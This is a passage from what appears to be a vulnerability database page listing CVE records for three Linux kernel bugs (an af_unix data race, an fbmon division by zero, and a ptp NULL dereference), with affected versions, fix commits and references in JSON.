            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/unix/af_unix.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "fca6072e1a7b1e709ada5604b951513b89b4bd0a",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "de6641d213373fbde9bbdd7c4b552254bc9f82fe",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "4d51845d734a4c5d079e56e0916f936a55e15055",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "9aa8773abfa0e954136875b4cbf2df4cf638e8a5",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "8299e4d778f664b31b67cf4cf3d5409de2ecb92c",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "0688d4e499bee3f2749bca27329bd128686230cb",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "a4c88072abcaca593cefe70f90e9d3707526e8f9",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "a52fa2addfcccc2c5a0217fd45562605088c018b",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "540bf24fba16b88c1b3b9353927204b4f1074e25",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/unix/af_unix.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: Fix data races in unix_release_sock/unix_stream_sendmsg\n\nA data-race condition has been identified in af_unix. In one data path,\nthe write function unix_release_sock() atomically writes to\nsk-\u003esk_shutdown using WRITE_ONCE. However, on the reader side,\nunix_stream_sendmsg() does not read it atomically. Consequently, this\nissue is causing the following KCSAN splat to occur:\n\n\tBUG: KCSAN: data-race in unix_release_sock / unix_stream_sendmsg\n\n\twrite (marked) to 0xffff88867256ddbb of 1 bytes by task 7270 on cpu 28:\n\tunix_release_sock (net/unix/af_unix.c:640)\n\tunix_release (net/unix/af_unix.c:1050)\n\tsock_close (net/socket.c:659 net/socket.c:1421)\n\t__fput (fs/file_table.c:422)\n\t__fput_sync (fs/file_table.c:508)\n\t__se_sys_close (fs/open.c:1559 fs/open.c:1541)\n\t__x64_sys_close (fs/open.c:1541)\n\tx64_sys_call (arch/x86/entry/syscall_64.c:33)\n\tdo_syscall_64 (arch/x86/entry/common.c:?)\n\tentry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n\n\tread to 0xffff88867256ddbb of 1 bytes by task 989 on cpu 14:\n\tunix_stream_sendmsg (net/unix/af_unix.c:2273)\n\t__sock_sendmsg (net/socket.c:730 net/socket.c:745)\n\t____sys_sendmsg (net/socket.c:2584)\n\t__sys_sendmmsg (net/socket.c:2638 net/socket.c:2724)\n\t__x64_sys_sendmmsg (net/socket.c:2753 net/socket.c:2750 net/socket.c:2750)\n\tx64_sys_call (arch/x86/entry/syscall_64.c:33)\n\tdo_syscall_64 (arch/x86/entry/common.c:?)\n\tentry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n\n\tvalue changed: 0x01 -\u003e 0x03\n\nThe line numbers are related to commit dd5a440a31fa (\"Linux 6.9-rc7\").\n\nCommit e1d09c2c2f57 (\"af_unix: Fix data races around sk-\u003esk_shutdown.\")\naddressed a comparable issue in the past regarding sk-\u003esk_shutdown.\nHowever, it overlooked resolving this particular data path.\nThis patch only offending unix_stream_sendmsg() function, since the\nother reads seem to be protected by unix_state_lock() as discussed in"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:19:47.034Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/fca6072e1a7b1e709ada5604b951513b89b4bd0a"
        },
        {
          "url": "https://git.kernel.org/stable/c/de6641d213373fbde9bbdd7c4b552254bc9f82fe"
        },
        {
          "url": "https://git.kernel.org/stable/c/4d51845d734a4c5d079e56e0916f936a55e15055"
        },
        {
          "url": "https://git.kernel.org/stable/c/9aa8773abfa0e954136875b4cbf2df4cf638e8a5"
        },
        {
          "url": "https://git.kernel.org/stable/c/8299e4d778f664b31b67cf4cf3d5409de2ecb92c"
        },
        {
          "url": "https://git.kernel.org/stable/c/0688d4e499bee3f2749bca27329bd128686230cb"
        },
        {
          "url": "https://git.kernel.org/stable/c/a4c88072abcaca593cefe70f90e9d3707526e8f9"
        },
        {
          "url": "https://git.kernel.org/stable/c/a52fa2addfcccc2c5a0217fd45562605088c018b"
        },
        {
          "url": "https://git.kernel.org/stable/c/540bf24fba16b88c1b3b9353927204b4f1074e25"
        }
      ],
      "title": "af_unix: Fix data races in unix_release_sock/unix_stream_sendmsg",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38596",
    "datePublished": "2024-06-19T13:45:45.984Z",
    "dateReserved": "2024-06-18T19:36:34.931Z",
    "dateUpdated": "2026-05-12T11:54:53.796Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35922 (GCVE-0-2024-35922)

Vulnerability from cvelistv5 – Published: 2024-05-19 10:10 – Updated: 2026-05-12 11:52

Title

fbmon: prevent division by zero in fb_videomode_from_videomode()

Summary

In the Linux kernel, the following vulnerability has been resolved: fbmon: prevent division by zero in fb_videomode_from_videomode() The expression htotal * vtotal can have a zero value on overflow. It is necessary to prevent division by zero like in fb_var_to_videomode(). Found by Linux Verification Center (linuxtesting.org) with Svace.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/1fb52bc1de55e9e0b…
https://git.kernel.org/stable/c/72d091b7515e0532e…
https://git.kernel.org/stable/c/951838fee462aa01f…
https://git.kernel.org/stable/c/48d6bcfc31751ca2e…
https://git.kernel.org/stable/c/664206ff8b019bcd1…
https://git.kernel.org/stable/c/3d4b909704bf2114f…
https://git.kernel.org/stable/c/1b107d637fed68a78…
https://git.kernel.org/stable/c/c2d953276b8b27459…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 2db54c72395298a58f29c75ae880be9e478fdbbd , < 1fb52bc1de55e9e0bdf71fe078efd4da0889710f (git) Affected: 2db54c72395298a58f29c75ae880be9e478fdbbd , < 72d091b7515e0532ee015e144c906f3bcfdd6270 (git) Affected: 2db54c72395298a58f29c75ae880be9e478fdbbd , < 951838fee462aa01fa2a6a91d56f9a495082e7f0 (git) Affected: 2db54c72395298a58f29c75ae880be9e478fdbbd , < 48d6bcfc31751ca2e753d901a2d82f27edf8a029 (git) Affected: 2db54c72395298a58f29c75ae880be9e478fdbbd , < 664206ff8b019bcd1e55b10b2eea3add8761b971 (git) Affected: 2db54c72395298a58f29c75ae880be9e478fdbbd , < 3d4b909704bf2114f64f87363fa22b5ef8ac4a33 (git) Affected: 2db54c72395298a58f29c75ae880be9e478fdbbd , < 1b107d637fed68a787da77a3514ad06e57abd0b4 (git) Affected: 2db54c72395298a58f29c75ae880be9e478fdbbd , < c2d953276b8b27459baed1277a4fdd5dd9bd4126 (git)
Linux	Linux	Affected: 3.9 Unaffected: 0 , < 3.9 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.155 , ≤ 5.15.* (semver) Unaffected: 6.1.86 , ≤ 6.1.* (semver) Unaffected: 6.6.27 , ≤ 6.6.* (semver) Unaffected: 6.8.6 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35922",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-23T19:23:14.469241Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:34:25.984Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.909Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1fb52bc1de55e9e0bdf71fe078efd4da0889710f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/72d091b7515e0532ee015e144c906f3bcfdd6270"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/951838fee462aa01fa2a6a91d56f9a495082e7f0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/48d6bcfc31751ca2e753d901a2d82f27edf8a029"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/664206ff8b019bcd1e55b10b2eea3add8761b971"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3d4b909704bf2114f64f87363fa22b5ef8ac4a33"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1b107d637fed68a787da77a3514ad06e57abd0b4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c2d953276b8b27459baed1277a4fdd5dd9bd4126"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:47.823Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/video/fbdev/core/fbmon.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "1fb52bc1de55e9e0bdf71fe078efd4da0889710f",
              "status": "affected",
              "version": "2db54c72395298a58f29c75ae880be9e478fdbbd",
              "versionType": "git"
            },
            {
              "lessThan": "72d091b7515e0532ee015e144c906f3bcfdd6270",
              "status": "affected",
              "version": "2db54c72395298a58f29c75ae880be9e478fdbbd",
              "versionType": "git"
            },
            {
              "lessThan": "951838fee462aa01fa2a6a91d56f9a495082e7f0",
              "status": "affected",
              "version": "2db54c72395298a58f29c75ae880be9e478fdbbd",
              "versionType": "git"
            },
            {
              "lessThan": "48d6bcfc31751ca2e753d901a2d82f27edf8a029",
              "status": "affected",
              "version": "2db54c72395298a58f29c75ae880be9e478fdbbd",
              "versionType": "git"
            },
            {
              "lessThan": "664206ff8b019bcd1e55b10b2eea3add8761b971",
              "status": "affected",
              "version": "2db54c72395298a58f29c75ae880be9e478fdbbd",
              "versionType": "git"
            },
            {
              "lessThan": "3d4b909704bf2114f64f87363fa22b5ef8ac4a33",
              "status": "affected",
              "version": "2db54c72395298a58f29c75ae880be9e478fdbbd",
              "versionType": "git"
            },
            {
              "lessThan": "1b107d637fed68a787da77a3514ad06e57abd0b4",
              "status": "affected",
              "version": "2db54c72395298a58f29c75ae880be9e478fdbbd",
              "versionType": "git"
            },
            {
              "lessThan": "c2d953276b8b27459baed1277a4fdd5dd9bd4126",
              "status": "affected",
              "version": "2db54c72395298a58f29c75ae880be9e478fdbbd",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/video/fbdev/core/fbmon.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.9"
            },
            {
              "lessThan": "3.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.155",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.86",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.27",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.155",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.86",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.27",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.6",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfbmon: prevent division by zero in fb_videomode_from_videomode()\n\nThe expression htotal * vtotal can have a zero value on\noverflow. It is necessary to prevent division by zero like in\nfb_var_to_videomode().\n\nFound by Linux Verification Center (linuxtesting.org) with Svace."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:49.285Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/1fb52bc1de55e9e0bdf71fe078efd4da0889710f"
        },
        {
          "url": "https://git.kernel.org/stable/c/72d091b7515e0532ee015e144c906f3bcfdd6270"
        },
        {
          "url": "https://git.kernel.org/stable/c/951838fee462aa01fa2a6a91d56f9a495082e7f0"
        },
        {
          "url": "https://git.kernel.org/stable/c/48d6bcfc31751ca2e753d901a2d82f27edf8a029"
        },
        {
          "url": "https://git.kernel.org/stable/c/664206ff8b019bcd1e55b10b2eea3add8761b971"
        },
        {
          "url": "https://git.kernel.org/stable/c/3d4b909704bf2114f64f87363fa22b5ef8ac4a33"
        },
        {
          "url": "https://git.kernel.org/stable/c/1b107d637fed68a787da77a3514ad06e57abd0b4"
        },
        {
          "url": "https://git.kernel.org/stable/c/c2d953276b8b27459baed1277a4fdd5dd9bd4126"
        }
      ],
      "title": "fbmon: prevent division by zero in fb_videomode_from_videomode()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35922",
    "datePublished": "2024-05-19T10:10:33.703Z",
    "dateReserved": "2024-05-17T13:50:33.124Z",
    "dateUpdated": "2026-05-12T11:52:47.823Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21814 (GCVE-0-2025-21814)

Vulnerability from cvelistv5 – Published: 2025-02-27 20:04 – Updated: 2026-05-12 12:03

Title

ptp: Ensure info->enable callback is always set

Summary

In the Linux kernel, the following vulnerability has been resolved: ptp: Ensure info->enable callback is always set The ioctl and sysfs handlers unconditionally call the ->enable callback. Not all drivers implement that callback, leading to NULL dereferences. Example of affected drivers: ptp_s390.c, ptp_vclock.c and ptp_mock.c. Instead use a dummy callback if no better was specified by the driver.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/fdc1e72487781dd77…
https://git.kernel.org/stable/c/9df3a9284f39bfd51…
https://git.kernel.org/stable/c/1334c64a5d1de6666…
https://git.kernel.org/stable/c/5d1041c76de656f9f…
https://git.kernel.org/stable/c/81846070cba17125a…
https://git.kernel.org/stable/c/8441aea46445252df…
https://git.kernel.org/stable/c/755caf4ee1c615ee5…
https://git.kernel.org/stable/c/fd53aa40e65f51845…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d94ba80ebbea17f036cecb104398fbcd788aa742 , < fdc1e72487781dd7705bcbe30878bee7d5d1f3e8 (git) Affected: d94ba80ebbea17f036cecb104398fbcd788aa742 , < 9df3a9284f39bfd51a9f72a6a165c79e2aa5066b (git) Affected: d94ba80ebbea17f036cecb104398fbcd788aa742 , < 1334c64a5d1de6666e0c9f984db6745083df1eb4 (git) Affected: d94ba80ebbea17f036cecb104398fbcd788aa742 , < 5d1041c76de656f9f8d5a192218039a9acf9bd00 (git) Affected: d94ba80ebbea17f036cecb104398fbcd788aa742 , < 81846070cba17125a866e8023c01d3465b153339 (git) Affected: d94ba80ebbea17f036cecb104398fbcd788aa742 , < 8441aea46445252df5d2eed6deb6d5246fc24002 (git) Affected: d94ba80ebbea17f036cecb104398fbcd788aa742 , < 755caf4ee1c615ee5717862e427124370f46b1f3 (git) Affected: d94ba80ebbea17f036cecb104398fbcd788aa742 , < fd53aa40e65f518453115b6f56183b0c201db26b (git)
Linux	Linux	Affected: 3.0 Unaffected: 0 , < 3.0 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.78 , ≤ 6.6.* (semver) Unaffected: 6.12.14 , ≤ 6.12.* (semver) Unaffected: 6.13.3 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:59:50.380Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:58.506Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/ptp/ptp_clock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "fdc1e72487781dd7705bcbe30878bee7d5d1f3e8",
              "status": "affected",
              "version": "d94ba80ebbea17f036cecb104398fbcd788aa742",
              "versionType": "git"
            },
            {
              "lessThan": "9df3a9284f39bfd51a9f72a6a165c79e2aa5066b",
              "status": "affected",
              "version": "d94ba80ebbea17f036cecb104398fbcd788aa742",
              "versionType": "git"
            },
            {
              "lessThan": "1334c64a5d1de6666e0c9f984db6745083df1eb4",
              "status": "affected",
              "version": "d94ba80ebbea17f036cecb104398fbcd788aa742",
              "versionType": "git"
            },
            {
              "lessThan": "5d1041c76de656f9f8d5a192218039a9acf9bd00",
              "status": "affected",
              "version": "d94ba80ebbea17f036cecb104398fbcd788aa742",
              "versionType": "git"
            },
            {
              "lessThan": "81846070cba17125a866e8023c01d3465b153339",
              "status": "affected",
              "version": "d94ba80ebbea17f036cecb104398fbcd788aa742",
              "versionType": "git"
            },
            {
              "lessThan": "8441aea46445252df5d2eed6deb6d5246fc24002",
              "status": "affected",
              "version": "d94ba80ebbea17f036cecb104398fbcd788aa742",
              "versionType": "git"
            },
            {
              "lessThan": "755caf4ee1c615ee5717862e427124370f46b1f3",
              "status": "affected",
              "version": "d94ba80ebbea17f036cecb104398fbcd788aa742",
              "versionType": "git"
            },
            {
              "lessThan": "fd53aa40e65f518453115b6f56183b0c201db26b",
              "status": "affected",
              "version": "d94ba80ebbea17f036cecb104398fbcd788aa742",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/ptp/ptp_clock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.0"
            },
            {
              "lessThan": "3.0",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.78",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.78",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                },
                {
